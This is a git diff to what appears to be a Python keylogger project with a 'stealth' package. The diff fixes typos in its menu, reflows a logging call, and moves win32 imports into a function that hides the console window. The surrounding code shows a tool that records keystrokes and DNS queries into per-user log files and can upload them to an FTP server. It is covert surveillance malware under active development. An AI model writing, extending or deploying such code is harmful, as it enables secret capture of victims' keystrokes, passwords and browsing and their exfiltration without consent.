diff --git a/kss.py b/kss.py index 13dd3b5..f03f31a 100644 --- a/kss.py +++ b/kss.py @@ -25,7 +25,7 @@ def main(): p3 = multiprocessing.Process(target=key_logger, name="KeyLogger") p4 = multiprocessing.Process(target=dns_logger, name="DNSQuaryLogger") while True: - service_choise = int( input("Choose what service you want. \n 1. Key and Dns Quary logger with offline and ftp upload. \n 2. Key and Dns Quary logger offline Only. \n 3. Key logger only with offline and ftp upload. \n 4. Key logger offline Only. \n 5. Dns Quary logger offline and ftp upload. \n 6. Dns Quary logger offline. \n 7. Exit \n")) + service_choise = int( input("Choose what service you want. \n 1. Key and Dns Query logger with offline and ftp upload. \n 2. Key and Dns Query logger offline Only. \n 3. Key logger only with offline and ftp upload. \n 4. Key logger offline Only. \n 5. Dns Query logger offline and ftp upload. \n 6. Dns Query logger offline. \n 7. Exit \n")) match service_choise: case 1: p2 = multiprocessing.Process(target=sync, args=( input("Ftp Host/Ip:"), input("Ftp Username:"), input("Ftp Passward:")), name="SyncFtp") diff --git a/stealth/logger.py b/stealth/logger.py index b1631cd..6ac1aec 100644 --- a/stealth/logger.py +++ b/stealth/logger.py @@ -5,7 +5,8 @@ #key logger def key_logger(): - logging.basicConfig(filename="keylog-"+user_name()+current_time()+".txt", level=logging.INFO, filemode='a', format='%(asctime)s: %(message)s', datefmt='%Y-%m-%d %H:%M:%S') + logging.basicConfig(filename="keylog-"+user_name()+current_time()+".txt", level=logging.INFO, filemode='a', + format='%(asctime)s: %(message)s', datefmt='%Y-%m-%d %H:%M:%S') # define a callback function to process the keystrokes def on_key_press(event): # get the name of the pressed key diff --git a/stealth/utilities.py b/stealth/utilities.py index 90eef4d..13f3ba1 100644 --- a/stealth/utilities.py +++ b/stealth/utilities.py @@ -4,9 +4,6 @@ import netifaces import winreg import time -import win32console -import win32gui -import win32con from sync_ftp import SyncFtp import http.server import base64 @@ -35,6 +32,9 @@ def dir_path(): # #this hide function help to minimize the console def hide_console(): + import win32console + import win32gui + import win32con window = win32console.GetConsoleWindow() win32gui.ShowWindow(window,win32con.SW_HIDE) return True